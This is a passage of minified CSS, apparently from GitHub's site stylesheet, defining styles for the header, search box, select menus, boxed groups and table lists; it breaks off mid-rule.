.header-logo{color:var(--color-fg-default)}.session-authentication .flash{padding:16px 16px;margin:0 auto;margin-bottom:8px;font-size:14px;border-style:solid;border-width:1px;border-radius:6px}.session-authentication .flash .container{width:auto}.session-authentication .flash .flash-close{height:40px}.session-authentication .flash.flash-banner{width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.session-authentication .auth-form label{display:block;margin-bottom:8px;font-weight:400;text-align:left}.session-authentication .auth-form .btn{margin-top:16px}.session-authentication .auth-form .webauthn-message{margin-bottom:0}.session-authentication .label-link{float:right;font-size:12px}.session-authentication .auth-form-header{margin-bottom:16px;color:var(--color-fg-default);text-align:center;text-shadow:none;background-color:transparent;border:0}.session-authentication .auth-form-header h1{font-size:24px;font-weight:300;letter-spacing:-0.5px}.session-authentication .auth-form-body{border-top:1px solid var(--color-border-muted);border-radius:6px}.session-authentication .auth-form-body.webauthn-form-body{padding:16px}.session-authentication .login-callout{padding:16px 16px;text-align:center;border:1px solid var(--color-border-default);border-radius:6px}.session-authentication .two-factor-help{padding:0 0 0 16px;margin-top:16px;border:0}.session-authentication .two-factor-help .octicon-device-mobile,.session-authentication .two-factor-help .octicon-key,.session-authentication .two-factor-help .octicon-shield-lock,.session-authentication .two-factor-help .octicon-circle-slash{top:4px;left:0}.session-authentication.enterprise .header-logged-out{padding:48px 0 24px;background-color:transparent}.session-authentication.hosted .header-logged-out{padding:40px 0 16px;background-color:transparent}.Header-old{z-index:32;padding-top:12px;padding-bottom:12px;color:#fff;background-color:var(--color-header-bg)}.server-stats+.Header-old{box-shadow:inset 0 1px 0 rgba(255,255,255,.075)}.Header-old .dropdown-menu{width:300px}.Header-old .notification-indicator:hover::after{content:none}@media(min-width: 1012px){.Header-old .notification-indicator:hover::after{content:attr(aria-label)}}.HeaderMenu{display:none;clear:both}@media(min-width: 1012px){.HeaderMenu{display:block;clear:none}}.open .HeaderMenu{display:block}.HeaderMenu-summary::marker,.HeaderMenu-summary::-webkit-details-marker{display:none}@keyframes dropdown-display{0%{opacity:0;transform:scale(0.98) translateY(-0.6em)}100%{opacity:1;transform:scale(1) translateY(0)}}.HeaderMenu--logged-out{z-index:100;width:300px;overflow:auto;background-color:var(--color-canvas-default);box-shadow:0 10px 50px rgba(27,31,35,.15)}@media(min-width: 1012px){.HeaderMenu--logged-out{width:auto;overflow:visible;background-color:transparent;box-shadow:none}}.HeaderMenu--logged-out .jump-to-suggestions{top:100%}.HeaderMenu--logged-out .HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}.HeaderMenu--logged-out .header-search-key-slash{margin-right:8px !important}.HeaderMenu--logged-out .dropdown-menu{position:static;width:auto;border:0 solid transparent;box-shadow:none}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{display:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu{position:absolute;width:300px;border:0;box-shadow:0 3px 12px rgba(27,31,35,.15),0 0 1px rgba(27,31,35,.2)}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{content:""}}.HeaderMenu--logged-out .dropdown-menu-s{transform:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu-s{transform:translateX(50%)}}.HeaderMenu--logged-out .header-search{width:auto;border-top:0}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search{width:240px}}.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-border-muted)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-header-search-border)}}@media(max-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{background-color:var(--color-canvas-default)}}.HeaderMenu--logged-out .header-search-input{padding-top:8px;padding-bottom:8px;font-size:14px;-webkit-appearance:none;color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input{color:inherit}}.HeaderMenu--logged-out .header-search-input::placeholder{color:var(--color-fg-muted) !important}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input::placeholder{color:rgba(255,255,255,.75) !important}}.HeaderMenu-link{color:var(--color-fg-default);white-space:nowrap;background:transparent;transition:opacity .4s}.HeaderMenu-link:hover{color:var(--color-fg-default);opacity:.75}@media(min-width: 1012px){.HeaderMenu-link{color:#fff;transition:opacity .4s}.HeaderMenu-link:hover{color:#fff;opacity:.75}}.HeaderMenu-link .icon-chevon-down-mktg{top:24px;right:0;width:14px;stroke:var(--color-fg-default);transition:stroke .4s}@media(min-width: 1012px){.HeaderMenu-link .icon-chevon-down-mktg{top:-2px;width:12px;stroke:rgba(255,255,255,.5);background:transparent}}.HeaderMenu-details[open]>summary::before{display:none}@media(min-width: 1012px){.HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}}.HeaderMenu-details[open] .HeaderMenu-link{color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .HeaderMenu-link{color:rgba(255,255,255,.75)}}.HeaderMenu-details[open] .dropdown-menu{animation:none}@media(min-width: 1012px){.HeaderMenu-details[open] .dropdown-menu{animation:dropdown-display .4s cubic-bezier(0.73, 0.005, 0.22, 1)}}.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:#fff}}.header-logo-invertocat{margin:-1px 16px -1px -2px;color:#fff;white-space:nowrap}.header-logo-invertocat .octicon-mark-github{float:left}.header-logo-invertocat:hover{color:#fff;text-decoration:none}.notification-indicator .mail-status{position:absolute;top:-6px;left:6px;z-index:2;display:none;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.notification-indicator .mail-status.unread{display:inline-block}.notification-indicator:hover .mail-status{text-decoration:none;background-color:var(--color-accent-emphasis)}.header-nav-current-user{padding-bottom:0;font-size:inherit}.header-nav-current-user .css-truncate-target{max-width:100%}.header-nav-current-user .user-profile-link{color:var(--color-fg-default)}.unread-indicator{position:absolute;top:0;left:13px;z-index:2;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.unread-indicator--small{width:10px;height:10px;border:0}.unread-indicator-container .unread-indicator{top:9px;right:10px;left:inherit;width:10px;height:10px;border:0}.header-search-wrapper{display:table;width:100%;max-width:100%;padding:0;font-size:inherit;font-weight:400;color:var(--color-scale-white);vertical-align:middle;background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.header-search-wrapper.header-search-wrapper-jump-to .header-search-scope{width:-moz-fit-content;width:fit-content}.header-search-wrapper .truncate-repo-scope{max-width:110px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.header-search-wrapper.focus{background-color:rgba(255,255,255,.175);box-shadow:none}.header-search-wrapper.focus .header-search-scope{color:var(--color-scale-white);background-color:rgba(255,255,255,.075);border-right-color:#282e34}.header-search-input{display:table-cell;width:100%;padding-top:0;padding-bottom:0;font-size:inherit;color:inherit;background:none;border:0;box-shadow:none}.header-search-input::placeholder{color:rgba(255,255,255,.75)}.header-search-input:focus{border:0;box-shadow:none}.header-search-input:focus~.header-search-key-slash{display:none !important}.header-search-input::-ms-clear{display:none}.header-search-button{display:table-cell;font-size:inherit;color:inherit;background:none}.header-search-button.input-button:focus{border:0 !important;box-shadow:none}.header-search-button.input-button:focus~.header-search-key-slash{display:none !important}.header-search-button::-ms-clear{display:none}.header-search-button.placeholder{color:rgba(255,255,255,.75)}.header-search-scope{display:none;padding-right:8px;padding-left:8px;font-size:inherit;line-height:28px;color:rgba(255,255,255,.7);white-space:nowrap;vertical-align:middle;border-right:1px solid var(--color-border-muted);border-right-color:#282e34;border-top-left-radius:6px;border-bottom-left-radius:6px}.header-search-scope:empty+.header-search-input{width:100%}.header-search-scope:hover{color:var(--color-scale-white);background-color:rgba(255,255,255,.12)}.scoped-search .header-search-wrapper{display:flex}.jump-to-field-active{color:var(--color-fg-default) !important;background-color:var(--color-canvas-subtle)}.jump-to-field-active::placeholder{color:var(--color-fg-muted) !important}.jump-to-field-active~.header-search-key-slash{display:none}.jump-to-field-active.jump-to-dropdown-visible{border-bottom-right-radius:0;border-bottom-left-radius:0}.jump-to-suggestions{top:100%;left:0;z-index:35;width:100%;border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px;box-shadow:0 4px 10px rgba(0,0,0,.1)}.jump-to-suggestions-path{min-width:0;min-height:44px;color:var(--color-fg-default)}.jump-to-suggestions-path .jump-to-octicon{width:28px;color:var(--color-fg-muted)}.jump-to-suggestions-path .jump-to-suggestion-name{max-width:none}.jump-to-suggestions-path mark{font-weight:600;background-color:transparent}.jump-to-suggestions-results-container .navigation-item{border-bottom:1px solid var(--color-border-default)}.jump-to-suggestions-results-container .navigation-item:last-child{border-bottom:0}.jump-to-suggestions-results-container .d-on-nav-focus{display:none}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-octicon,.jump-to-suggestions-results-container .navigation-focus .jump-to-octicon{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-suggestions-path,.jump-to-suggestions-results-container .navigation-focus .jump-to-suggestions-path{color:var(--color-fg-on-emphasis);background:var(--color-accent-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] mark,.jump-to-suggestions-results-container .navigation-focus mark{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .d-on-nav-focus,.jump-to-suggestions-results-container .navigation-focus .d-on-nav-focus{display:block}.header-search{max-width:100%;transition:.2s ease-in-out;transition-property:max-width,padding-bottom,padding-top}@media(min-width: 768px){.header-search{max-width:272px}}@media(min-width: 768px){.header-search:focus-within{max-width:544px}}@media(min-width: 768px){.header-search.fixed-width:focus-within{max-width:272px}}.HeaderMenu--logged-out .header-search{min-width:auto}.search-input{width:350px}.search-input-container{z-index:35;height:36px;color:var(--color-scale-white);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border)}.search-input-container .input-parsed-symbol{padding-right:4px;padding-left:4px;color:var(--color-accent-emphasis);background:var(--color-accent-subtle);border-radius:6px}.search-suggestions{top:-14px;left:-14px;z-index:15;width:calc(100% + 26px) !important}.search-suggestions .suggestion-search-input-wrapper{border:1px solid var(--color-accent-emphasis);align-items:center;box-shadow:var(--color-btn-shadow-input-focus)}.search-suggestions .suggestion-search-input{height:24px;padding-top:2px;margin-right:12px;margin-left:12px;white-space:pre;outline:0 solid transparent;align-items:center}.search-suggestions .suggestion-search-input:empty::before{color:var(--color-fg-subtle);content:attr(placeholder)}.search-suggestions .suggestion-list{list-style:none}.search-suggestions .suggestion-list [aria-selected=true]{background-color:var(--color-canvas-inset) !important}.search-suggestions .suggestion-list :hover{background-color:inherit}.search-suggestions .header-search-input{overflow:hidden}.dark-backdrop{top:0;right:0;bottom:0;left:0;z-index:32;height:100%;background-color:var(--color-primer-canvas-backdrop)}.Header-item--search{flex-grow:100}.boxed-group{position:relative;margin-bottom:30px;border-radius:6px}.boxed-group .Counter{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.boxed-group.flush .boxed-group-inner{padding:0}.boxed-group.condensed .boxed-group-inner{padding:0;font-size:12px}.boxed-group>h3,.boxed-group .heading{display:block;padding:9px 10px 10px;margin:0;font-size:14px;line-height:17px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-bottom:0;border-radius:6px 6px 0 0}.boxed-group>h3 a,.boxed-group .heading a{color:inherit}.boxed-group>h3 a.boxed-group-breadcrumb,.boxed-group .heading a.boxed-group-breadcrumb{font-weight:400;color:var(--color-fg-muted);text-decoration:none}.boxed-group>h3 .avatar,.boxed-group .heading .avatar{margin-top:-4px}.boxed-group .tabnav.heading{padding:0}.boxed-group .tabnav.heading .tabnav-tab.selected{border-top:0}.boxed-group .tabnav.heading li:first-child .selected{border-left-color:var(--color-canvas-default);border-top-left-radius:6px}.boxed-group .tabnav-tab{border-top:0;border-radius:0}.boxed-group code.heading{font-size:12px}.boxed-group.dangerzone>h3{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid var(--color-danger-emphasis)}.boxed-group.dangerzone .boxed-group-inner{border-top:0}.boxed-group.condensed>h3{padding:6px 6px 7px;font-size:12px}.boxed-group.condensed>h3 .octicon{padding:0 6px 0 2px}.dashboard-sidebar .boxed-group{margin-bottom:20px}.boxed-group .bleed-flush{width:100%;padding:0 10px;margin-left:-10px}.boxed-group .compact{margin-top:10px;margin-bottom:10px}.boxed-group-inner{padding:10px;color:var(--color-fg-muted);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.boxed-group-inner .markdown-body{padding:20px 10px 10px;font-size:13px}.boxed-group-inner.markdown-body{padding-top:10px;padding-bottom:10px}.boxed-group-inner.seamless{padding:0}.boxed-group-inner .tabnav{padding-right:10px;padding-left:10px;margin-right:-10px;margin-left:-10px}.boxed-group-inner .tabnav-tab.selected{border-top:1px solid var(--color-border-default)}.boxed-action{float:right;margin-left:10px}.boxed-group-action{position:relative;z-index:2;float:right;margin:5px 10px 0 0}.boxed-group-action.flush{margin-top:0;margin-right:0}.field-with-errors{display:inline}.boxed-group-list{margin:0;list-style:none}.boxed-group-list:first-child>li:first-child{border-top:0}.boxed-group-list>li{display:block;padding:5px 10px;margin-right:-10px;margin-left:-10px;line-height:23px;border-bottom:1px solid var(--color-border-default)}.boxed-group-list>li:first-child{border-top:1px solid var(--color-border-default)}.boxed-group-list>li:last-of-type{border-bottom:0}.boxed-group-list>li.selected{background:var(--color-success-subtle)}.boxed-group-list>li.approved .btn-sm,.boxed-group-list>li.rejected .btn-sm{display:none}.boxed-group-list>li.rejected a{text-decoration:line-through}.boxed-group-list>li .avatar{margin-top:-2px;margin-right:4px}.boxed-group-list>li .octicon{width:24px;margin-right:4px}.boxed-group-list>li .btn-sm{float:right;margin:-1px 0 0 10px}.boxed-group-list>li .BtnGroup{float:right}.boxed-group-list>li .BtnGroup .btn-sm{float:left}.boxed-group.flush .boxed-group-list li{width:auto;padding-right:0;padding-left:0;margin-left:0}.boxed-group-list.standalone{margin-top:-1px}.boxed-group-list.standalone>li:first-child{border-top:0}.boxed-group-table{width:100%;text-align:left}.boxed-group-table tr:last-child td{border-bottom:0}.boxed-group-table th{padding:9px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.boxed-group-table td{padding:9px;vertical-align:top;border-bottom:1px solid var(--color-border-muted)}.ajax-error-message{position:fixed;top:0;left:50%;z-index:9999;width:974px;margin:0 3px;margin-left:-487px;transition:top .5s ease-in-out}.ajax-error-message>.octicon-alert{vertical-align:text-top}.container{width:980px;margin-right:auto;margin-left:auto}.container::before{display:table;content:""}.container::after{display:table;clear:both;content:""}.draft.octicon{color:var(--color-fg-muted)}.closed.octicon,.reverted.octicon{color:var(--color-closed-fg)}.open.octicon{color:var(--color-open-fg)}.closed.octicon.octicon-issue-closed,.merged.octicon{color:var(--color-done-fg)}.progress-bar{display:block;height:15px;overflow:hidden;background-color:var(--color-border-muted);border-radius:6px}.progress-bar .progress{display:block;height:100%;background-color:var(--color-success-emphasis)}.reverse-progress-container{position:relative;height:3px;background-color:var(--color-border-muted);background-image:linear-gradient(to right, var(--color-success-emphasis), var(--color-accent-emphasis), var(--color-done-emphasis), var(--color-danger-emphasis), var(--color-severe-emphasis));background-size:100% 3px}.reverse-progress-bar{position:absolute;right:0;height:100%;background-color:var(--color-border-muted)}.progress-bar-small{height:10px}.select-menu-button::after{display:inline-block;width:0;height:0;vertical-align:-2px;content:"";border:4px solid;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.select-menu-button.icon-only{padding-left:7px}.select-menu-button.primary::after{border-top-color:var(--color-fg-on-emphasis)}.select-menu-button.primary::after:active{background-color:var(--color-success-emphasis)}.select-menu-button-large::after{margin-left:.25em;border-width:.33em}.select-menu .spinner{float:left;margin:4px 0 0 -24px}.select-menu.active .select-menu-modal-holder{display:block}.select-menu.select-menu-modal-right{position:relative}.select-menu.select-menu-modal-right .select-menu-modal-holder{right:0}.select-menu .select-menu-clear-item{display:block}.select-menu .select-menu-clear-item .octicon{color:inherit}.select-menu .select-menu-clear-item+.select-menu-no-results{display:none !important}.select-menu.is-loading .select-menu-loading-overlay{display:block}.select-menu.is-loading .select-menu-modal{min-height:200px}.select-menu.has-error .select-menu-error{display:block}.select-menu-error{display:none}.select-menu-loading-overlay{position:absolute;top:0;z-index:5;display:none;width:100%;height:100%;background-color:var(--color-canvas-overlay);border:1px solid transparent;border-radius:5px}.select-menu-modal-holder{position:absolute;z-index:30;display:none}.select-menu-modal{position:relative;width:300px;margin-top:4px;margin-bottom:20px;overflow:hidden;font-size:12px;color:var(--color-fg-default);background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-divider{padding:8px 10px;line-height:16px;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.select-menu-header .select-menu-title,.select-menu-divider{font-weight:600;color:var(--color-fg-default)}.select-menu-divider{margin-top:-1px;border-top:1px solid var(--color-border-muted)}.select-menu-header .close-button,.select-menu-header .octicon{display:block;float:right;color:var(--color-fg-muted);cursor:pointer}.select-menu-header .close-button:hover,.select-menu-header .octicon:hover{color:var(--color-fg-default)}.select-menu-header:focus{outline:none}.select-menu-filters{background-color:var(--color-canvas-overlay)}.select-menu-text-filter{padding:10px 10px 0}.select-menu-text-filter:first-child:last-child{padding-bottom:10px;border-bottom:1px solid var(--color-border-muted)}.select-menu-text-filter input{display:block;width:100%;max-width:100%;padding:5px;border:1px solid var(--color-border-muted);border-radius:6px}.select-menu-text-filter input::placeholder{color:var(--color-fg-subtle)}.select-menu-tabs{padding:10px 10px 0;border-bottom:1px solid var(--color-border-muted)}.select-menu-tabs ul{position:relative;bottom:-1px}.select-menu-tabs .select-menu-tab{display:inline-block}.select-menu-tabs a,.select-menu-tabs .select-menu-tab-nav{display:inline-block;padding:4px 8px 2px;font-size:12px;font-weight:600;color:var(--color-fg-muted);text-decoration:none;cursor:pointer;background:transparent;border:1px solid transparent;border-radius:6px 6px 0 0}.select-menu-tabs a:hover,.select-menu-tabs .select-menu-tab-nav:hover{color:var(--color-fg-default)}.select-menu-tabs a[aria-selected=true],.select-menu-tabs a.selected,.select-menu-tabs .select-menu-tab-nav[aria-selected=true],.select-menu-tabs .select-menu-tab-nav.selected{color:var(--color-fg-default);background-color:var(--color-canvas-overlay);border-color:var(--color-border-muted);border-bottom-color:var(--color-canvas-overlay)}.select-menu-list{position:relative;max-height:400px;overflow:auto}.select-menu-list.is-showing-new-item-form .select-menu-new-item-form{display:block}.select-menu-list.is-showing-new-item-form .select-menu-no-results,.select-menu-list.is-showing-new-item-form .select-menu-clear-item{display:none}.select-menu-blankslate{padding:16px;text-align:center}.select-menu-blankslate svg{display:block;margin-right:auto;margin-bottom:9px;margin-left:auto;fill:var(--color-fg-muted)}.select-menu-blankslate h3{font-size:14px;color:var(--color-fg-default)}.select-menu-blankslate p{width:195px;margin-right:auto;margin-bottom:0;margin-left:auto}.select-menu-item{display:block;padding:8px 8px 8px 30px;overflow:hidden;color:inherit;cursor:pointer;border-bottom:1px solid var(--color-border-muted)}.select-menu-item .select-menu-item-text .octicon-x{display:none;float:right;margin:1px 10px 0 0;opacity:.6}.select-menu-item:hover{text-decoration:none}.select-menu-item.disabled,.select-menu-item[disabled],.select-menu-item[aria-disabled=true],.select-menu-item.disabled.selected{color:var(--color-fg-muted);cursor:default}.select-menu-item.disabled .description,.select-menu-item[disabled] .description,.select-menu-item[aria-disabled=true] .description,.select-menu-item.disabled.selected .description{color:var(--color-fg-muted)}.select-menu-item.disabled.opaque,.select-menu-item[disabled].opaque,.select-menu-item[aria-disabled=true].opaque,.select-menu-item.disabled.selected.opaque{opacity:.7}.select-menu-item.disabled .select-menu-item-gravatar,.select-menu-item[disabled] .select-menu-item-gravatar,.select-menu-item[aria-disabled=true] .select-menu-item-gravatar,.select-menu-item.disabled.selected .select-menu-item-gravatar{opacity:.5}.select-menu-item .octicon{vertical-align:middle}.select-menu-item .octicon-check,.select-menu-item .octicon-circle-slash,.select-menu-item input[type=radio]:not(:checked)+.octicon-check,.select-menu-item input[type=radio]:not(:checked)+.octicon-circle-slash{visibility:hidden}.select-menu-item.selected .octicon-circle-slash.select-menu-item-icon{color:var(--color-fg-muted) !important}.select-menu-item .octicon-circle-slash{color:var(--color-fg-muted)}.select-menu-item.excluded{background-color:var(--color-canvas-subtle)}.select-menu-item input[type=radio]{display:none}.select-menu-item:focus{outline:none}.select-menu-item:focus .octicon,.select-menu-item:hover .octicon{color:inherit !important}.select-menu-item:hover,.select-menu-item:hover.selected,.select-menu-item:hover.select-menu-action,.select-menu-item:hover .description-inline,.select-menu-item:focus,.select-menu-item:focus.selected,.select-menu-item:focus.select-menu-action,.select-menu-item:focus .description-inline,.select-menu-item.navigation-focus,.select-menu-item.navigation-focus.selected,.select-menu-item.navigation-focus.select-menu-action,.select-menu-item.navigation-focus .description-inline,.select-menu-item.navigation-focus[aria-checked=true],.select-menu-item[aria-checked=true]:focus,.select-menu-item[aria-checked=true]:hover,.select-menu-item[aria-selected=true]:hover,.select-menu-item[aria-selected=true]:focus,.select-menu-item[aria-selected=true].select-menu-action,.select-menu-item[aria-selected=true] .description-inline{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-item:hover>.octicon,.select-menu-item:hover.selected>.octicon,.select-menu-item:hover.select-menu-action>.octicon,.select-menu-item:hover .description-inline>.octicon,.select-menu-item:focus>.octicon,.select-menu-item:focus.selected>.octicon,.select-menu-item:focus.select-menu-action>.octicon,.select-menu-item:focus .description-inline>.octicon,.select-menu-item.navigation-focus>.octicon,.select-menu-item.navigation-focus.selected>.octicon,.select-menu-item.navigation-focus.select-menu-action>.octicon,.select-menu-item.navigation-focus .description-inline>.octicon,.select-menu-item.navigation-focus[aria-checked=true]>.octicon,.select-menu-item[aria-checked=true]:focus>.octicon,.select-menu-item[aria-checked=true]:hover>.octicon,.select-menu-item[aria-selected=true]:hover>.octicon,.select-menu-item[aria-selected=true]:focus>.octicon,.select-menu-item[aria-selected=true].select-menu-action>.octicon,.select-menu-item[aria-selected=true] .description-inline>.octicon{color:var(--color-fg-on-emphasis)}.select-menu-item:hover .description,.select-menu-item:hover .description-warning,.select-menu-item:hover.selected .description,.select-menu-item:hover.selected .description-warning,.select-menu-item:hover.select-menu-action .description,.select-menu-item:hover.select-menu-action .description-warning,.select-menu-item:hover .description-inline .description,.select-menu-item:hover .description-inline .description-warning,.select-menu-item:focus .description,.select-menu-item:focus .description-warning,.select-menu-item:focus.selected .description,.select-menu-item:focus.selected .description-warning,.select-menu-item:focus.select-menu-action .description,.select-menu-item:focus.select-menu-action .description-warning,.select-menu-item:focus .description-inline .description,.select-menu-item:focus .description-inline .description-warning,.select-menu-item.navigation-focus .description,.select-menu-item.navigation-focus .description-warning,.select-menu-item.navigation-focus.selected .description,.select-menu-item.navigation-focus.selected .description-warning,.select-menu-item.navigation-focus.select-menu-action .description,.select-menu-item.navigation-focus.select-menu-action .description-warning,.select-menu-item.navigation-focus .description-inline .description,.select-menu-item.navigation-focus .description-inline .description-warning,.select-menu-item.navigation-focus[aria-checked=true] .description,.select-menu-item.navigation-focus[aria-checked=true] .description-warning,.select-menu-item[aria-checked=true]:focus .description,.select-menu-item[aria-checked=true]:focus .description-warning,.select-menu-item[aria-checked=true]:hover .description,.select-menu-item[aria-checked=true]:hover .description-warning,.select-menu-item[aria-selected=true]:hover .description,.select-menu-item[aria-selected=true]:hover .description-warning,.select-menu-item[aria-selected=true]:focus .description,.select-menu-item[aria-selected=true]:focus .description-warning,.select-menu-item[aria-selected=true].select-menu-action .description,.select-menu-item[aria-selected=true].select-menu-action .description-warning,.select-menu-item[aria-selected=true] .description-inline .description,.select-menu-item[aria-selected=true] .description-inline .description-warning{color:var(--color-fg-on-emphasis)}.select-menu-item:hover.disabled,.select-menu-item[disabled]:hover,.select-menu-item[aria-disabled=true]:hover,.select-menu-item[aria-selected=true].disabled,.select-menu-item.navigation-focus.disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-overlay)}.select-menu-item:hover.disabled .description,.select-menu-item[disabled]:hover .description,.select-menu-item[aria-disabled=true]:hover .description,.select-menu-item[aria-selected=true].disabled .description,.select-menu-item.navigation-focus.disabled .description{color:var(--color-fg-muted)}.select-menu-item>.octicon-dash{display:none}.select-menu-item[aria-checked=mixed]>.octicon-check{display:none}.select-menu-item[aria-checked=mixed]>.octicon-dash{display:block}.select-menu-item input:checked+.octicon-check{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true],details-menu .select-menu-item[aria-selected=true],.select-menu-item.selected{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .description,details-menu .select-menu-item[aria-selected=true] .description,.select-menu-item.selected .description{color:var(--color-fg-muted)}details-menu .select-menu-item[aria-checked=true]>.octicon,details-menu .select-menu-item[aria-selected=true]>.octicon,.select-menu-item.selected>.octicon{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .octicon-check,details-menu .select-menu-item[aria-checked=true] .octicon-circle-slash,details-menu .select-menu-item[aria-selected=true] .octicon-check,details-menu .select-menu-item[aria-selected=true] .octicon-circle-slash,.select-menu-item.selected .octicon-check,.select-menu-item.selected .octicon-circle-slash{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true] .select-menu-item-text .octicon-x,details-menu .select-menu-item[aria-selected=true] .select-menu-item-text .octicon-x,.select-menu-item.selected .select-menu-item-text .octicon-x{display:block;color:inherit}.select-menu.label-select-menu .select-menu-item:active{background-color:transparent !important}.select-menu-item:hover .Label,.select-menu-item:focus .Label{color:inherit;border-color:currentColor}.select-menu-item a{color:inherit;text-decoration:none}.select-menu-item .hidden-select-button-text{display:none}.select-menu-item .css-truncate-target{max-width:100%}.select-menu-item-icon{float:left;margin-left:-20px}form.select-menu-item>div:first-child{display:none !important}.select-menu-list:last-child .select-menu-item:last-child,.select-menu-item.last-visible{border-bottom:0;border-radius:0 0 6px 6px}.select-menu-action{font-weight:400;color:var(--color-fg-default)}.select-menu-action>.octicon{color:inherit}.select-menu-action:hover{color:var(--color-accent-fg)}.select-menu-no-results{display:none;padding:9px;color:var(--color-fg-muted);cursor:auto}.select-menu-list.filterable-empty .select-menu-no-results,.select-menu-no-results:only-child{display:block}.select-menu-button-gravatar,.select-menu-item-gravatar{width:20px;overflow:hidden;line-height:0}.select-menu-button-gravatar img,.select-menu-item-gravatar img{display:inline-block;width:20px;height:20px;border-radius:6px}.select-menu-item-gravatar{float:left;width:20px;height:20px;margin-right:8px;border-radius:6px}.select-menu-button-gravatar{float:left;margin-right:5px}.select-menu-item-text{display:block;text-align:left}.select-menu-item-text .description{display:block;max-width:265px;font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-inline{font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-warning{color:var(--color-danger-fg)}.select-menu-item-text mark{font-weight:600;color:inherit;background-color:inherit}.select-menu-item-heading{display:block;margin-top:0;margin-bottom:0;font-size:14px;font-weight:600}.select-menu-item-heading .description{display:inline;font-weight:400}.select-menu-new-item-form{display:none}.select-menu-new-item-form .octicon{color:var(--color-accent-fg)}.table-list{display:table;width:100%;color:var(--color-fg-muted);table-layout:fixed;border-bottom:1px solid var(--color-border-default)}.table-list ol{list-style-type:decimal}.table-list-bordered{border-bottom-color:var(--color-border-default)}.table-list-bordered .table-list-cell:first-child{border-left:1px solid var(--color-border-default)}.table-list-bordered .table-list-cell:last-child{border-right:1px solid var(--color-border-default)}.table-list-item{position:relative;display:table-row;list-style:none}.table-list-item.unread .table-list-cell:first-child{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.table-list-cell{position:relative;display:table-cell;padding:8px 10px;font-size:12px;vertical-align:top;border-top:1px solid var(--color-border-default)}.table-list-cell.flush-left{padding-left:0}.table-list-cell.flush-right{padding-right:0}.table-list-header{position:relative;margin-top:20px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px 6px 0 0}.table-list-header::before{display:table;content:""}.table-list-header::after{display:table;clear:both;content:""}.table-list-header .btn-link{position:relative;display:inline-block;padding-top:13px;padding-bottom:13px;font-weight:400}.table-list-heading{margin-left:10px}.table-list-header-meta{display:inline-block;padding-top:13px;padding-bottom:13px;color:var(--color-fg-muted)}.table-list-header-toggle h4{padding:12px 0}.table-list-filters:first-child .table-list-header-toggle:first-child{padding-left:16px}.table-list-header-toggle.states .selected{font-weight:600}.table-list-header-toggle .btn-link{color:var(--color-fg-muted)}.table-list-header-toggle .btn-link .octicon{margin-right:4px}.table-list-header-toggle .btn-link:hover{color:var(--color-fg-default);text-decoration:none}.table-list-header-toggle .btn-link.selected,.table-list-header-toggle .btn-link.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .btn-link+.btn-link{margin-left:10px}.table-list-header-toggle .btn-link:disabled,.table-list-header-toggle .btn-link.disabled{pointer-events:none;opacity:.5}.table-list-header-toggle .select-menu{position:relative}.table-list-header-toggle .select-menu-item[aria-checked=true],.table-list-header-toggle .select-menu-item.selected{font-weight:600}.table-list-header-toggle .select-menu-button{padding-right:15px;padding-left:15px}.table-list-header-toggle .select-menu-button:hover,.table-list-header-toggle .select-menu-button.selected,.table-list-header-toggle .select-menu-button.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .select-menu-modal-holder{right:10px}.table-list-header-toggle 